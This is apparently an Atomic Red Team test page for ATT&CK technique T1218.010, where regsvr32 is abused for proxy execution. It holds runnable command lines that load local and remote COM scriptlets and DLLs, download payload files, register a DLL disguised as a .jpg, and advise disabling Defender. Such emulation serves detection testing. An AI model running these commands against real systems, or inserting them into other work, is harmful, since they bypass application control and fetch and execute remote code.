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Signed Binary Proxy Execution: Regsvr32

Description from ATT&CK

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Atomic Tests

Atomic Test #1 - Regsvr32 local COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Supported Platforms: windows

auto_generated_guid: 449aa403-6aba-47ce-8a37-247d21ef0306

Inputs:

Name Description Type Default Value
filename Name of the local file, include path. path PathToAtomicsFolder\T1218.010\src\RegSvr32.sct
regsvr32path Default location of Regsvr32.exe path C:\Windows\system32
regsvr32name Default name of Regsvr32.exe string regsvr32.exe

Attack Commands: Run with command_prompt!

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#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll

Dependencies: Run with powershell!

Description: Regsvr32.sct must exist on disk at specified location (#{filename})

Check Prereq Commands:

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if (Test-Path "#{filename}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"

Atomic Test #2 - Regsvr32 remote COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.

Supported Platforms: windows

auto_generated_guid: c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36

Inputs:

Name Description Type Default Value
url URL to hosted sct file url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct
regsvr32path Default location of Regsvr32.exe path C:\Windows\system32
regsvr32name Default name of Regsvr32.exe string regsvr32.exe

Attack Commands: Run with command_prompt!

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#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll

Atomic Test #3 - Regsvr32 local DLL execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Supported Platforms: windows

auto_generated_guid: 08ffca73-9a3d-471a-aeb0-68b4aa3ab37b

Inputs:

Name Description Type Default Value
dll_name Name of DLL to Execute, DLL Should export DllRegisterServer path PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll
regsvr32path Default location of Regsvr32.exe path C:\Windows\system32
regsvr32name Default name of Regsvr32.exe string regsvr32.exe

Attack Commands: Run with command_prompt!

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IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )

Dependencies: Run with powershell!

Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})

Check Prereq Commands:

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if (Test-Path "#{dll_name}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"

Atomic Test #4 - Regsvr32 Registering Non DLL

Replicating observed Gozi maldoc behavior registering a dll with an altered extension

Supported Platforms: windows

auto_generated_guid: 1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421

Inputs:

Name Description Type Default Value
dll_file Path to renamed dll file to be registered path %temp%\shell32.jpg
regsvr32path Default location of Regsvr32.exe path C:\Windows\system32
regsvr32name Default name of Regsvr32.exe string regsvr32.exe

Attack Commands: Run with command_prompt!

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#{regsvr32path}\#{regsvr32name} /s #{dll_file}

Cleanup Commands:

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#{regsvr32path}\#{regsvr32name} /U /s #{dll_file}

Dependencies: Run with command_prompt!

Description: Test requires a renamed dll file

Check Prereq Commands:

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if exist #{dll_file} ( exit 0 ) else ( exit 1 )

Get Prereq Commands:

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copy "C:\Windows\System32\shell32.dll" "#{dll_file}"

Atomic Test #5 - Regsvr32 Silent DLL Install Call DllRegisterServer

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.

Supported Platforms: windows

auto_generated_guid: 9d71c492-ea2e-4c08-af16-c6994cdf029f

Inputs:

Name Description Type Default Value
dll_name Name of DLL to Install string PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll
regsvr32path Default location of Regsvr32.exe string C:\Windows\system32
regsvr32name Default name of Regsvr32.exe string regsvr32.exe

Attack Commands: Run with command_prompt!

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#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"

Dependencies: Run with powershell!

Description: AllTheThingsx86.dll must exist on disk at specified location (#{dll_name}) Check Prereq Commands:

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if (Test-Path "#{dll_name}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"

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